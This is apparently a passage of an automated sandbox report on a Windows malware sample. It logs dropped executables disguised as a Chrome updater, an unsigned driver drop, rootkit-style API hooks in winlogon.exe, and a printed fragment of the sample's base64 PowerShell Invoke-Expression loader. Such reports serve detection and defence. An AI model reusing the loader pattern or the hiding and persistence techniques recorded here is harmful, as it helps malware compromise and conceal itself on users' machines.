Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: loadperf.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wbem\WMIADAP.exe

File written: C:\Windows\System32\wbem\Performance\WmiApRpl_new.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: +@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb* source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~1.PDB @ source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, MainModuleUI.cs

.Net Code: Prompt

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Anti Malware Scan Interface: FromBase64String("$pwshcode"))Invoke-Expression $pwshdecoded$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAIWQMW/CMBCF/8opQqKVmlhNDAMIVRXQrYCUIQtLEp8TR45N7YsM/76GoWqnTnfSe+/03XsXIv28nBxKd

Source: C:\Windows\System32\dialer.exe

Code function: 47_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

47_2_00000001408460F0

Source: system64x.exe.1.dr	Static PE information: section name: .00cfg
Source: updater.exe.3.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Code function: 1_2_00007FF8489BD2A5 pushad ; iretd	1_2_00007FF8489BD2A6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Code function: 1_2_00007FF848AD7113 push eax; iretd	1_2_00007FF848AD7141
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Code function: 1_2_00007FF848AD7143 push eax; iretd	1_2_00007FF848AD7141
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Code function: 1_2_00007FF848AD00BD pushad ; iretd	1_2_00007FF848AD00C1
Source: C:\Windows\SysWOW64\system64x.exe	Code function: 3_2_00007FF762441394 push qword ptr [00007FF76244B004h]; ret	3_2_00007FF762441403
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85896ACDD push rcx; retf 003Fh	22_2_000001E85896ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85899C6DD push rcx; retf 003Fh	22_2_000001E85899C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589CACDD push rcx; retf 003Fh	22_2_000001E8589CACDE
Source: C:\ProgramData\Google\Chrome\updater.exe	Code function: 28_2_00007FF72AF21394 push qword ptr [00007FF72AF2B004h]; ret	28_2_00007FF72AF21403
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140ADFDACDD push rcx; retf 003Fh	31_2_00000140ADFDACDE
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE87C6DD push rcx; retf 003Fh	31_2_00000140AE87C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5AACDD push rcx; retf 003Fh	32_2_00000195DD5AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5DC6DD push rcx; retf 003Fh	32_2_00000195DD5DC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA7ACDD push rcx; retf 003Fh	33_2_000001160CA7ACDE
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CAAC6DD push rcx; retf 003Fh	33_2_000001160CAAC6DE
Source: C:\Windows\System32\dialer.exe	Code function: 45_2_0000000140001394 push qword ptr [0000000140009004h]; ret	45_2_0000000140001403
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E108ACDD push rcx; retf 003Fh	48_2_00000257E108ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10BC6DD push rcx; retf 003Fh	48_2_00000257E10BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C1EACDD push rcx; retf 003Fh	49_2_000001F28C1EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C94C6DD push rcx; retf 003Fh	49_2_000001F28C94C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA97FEACDD push rcx; retf 003Fh	50_2_000001CA97FEACDE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA9855C6DD push rcx; retf 003Fh	50_2_000001CA9855C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D2652FACDD push rcx; retf 003Fh	51_2_000001D2652FACDE
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26532C6DD push rcx; retf 003Fh	51_2_000001D26532C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27EC6DD push rcx; retf 003Fh	52_2_00000254A27EC6DE
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E4ACDD push rcx; retf 003Fh	53_2_0000028708E4ACDE
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E7C6DD push rcx; retf 003Fh	53_2_0000028708E7C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DEC6DD push rcx; retf 003Fh	54_2_0000024B87DEC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FB3DACDD push rcx; retf 003Fh	55_2_00000205FB3DACDE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD41C6DD push rcx; retf 003Fh	55_2_00000205FD41C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056BC6DD push rcx; retf 003Fh	56_2_000001A2056BC6DE

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Executable created and started: C:\Windows\SysWOW64\system64x.exe

Jump to behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\voeeoiqrjnla.sys

Source: C:\Windows\SysWOW64\system64x.exe	File created: C:\ProgramData\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File created: C:\Windows\SysWOW64\system64x.exe	Jump to dropped file
Source: C:\ProgramData\Google\Chrome\updater.exe	File created: C:\Windows\Temp\voeeoiqrjnla.sys	Jump to dropped file

Source: C:\Windows\SysWOW64\system64x.exe

File created: C:\ProgramData\Google\Chrome\updater.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File created: C:\Windows\SysWOW64\system64x.exe			Jump to dropped file
Source: C:\ProgramData\Google\Chrome\updater.exe	File created: C:\Windows\Temp\voeeoiqrjnla.sys			Jump to dropped file

Source: C:\Windows\SysWOW64\system64x.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
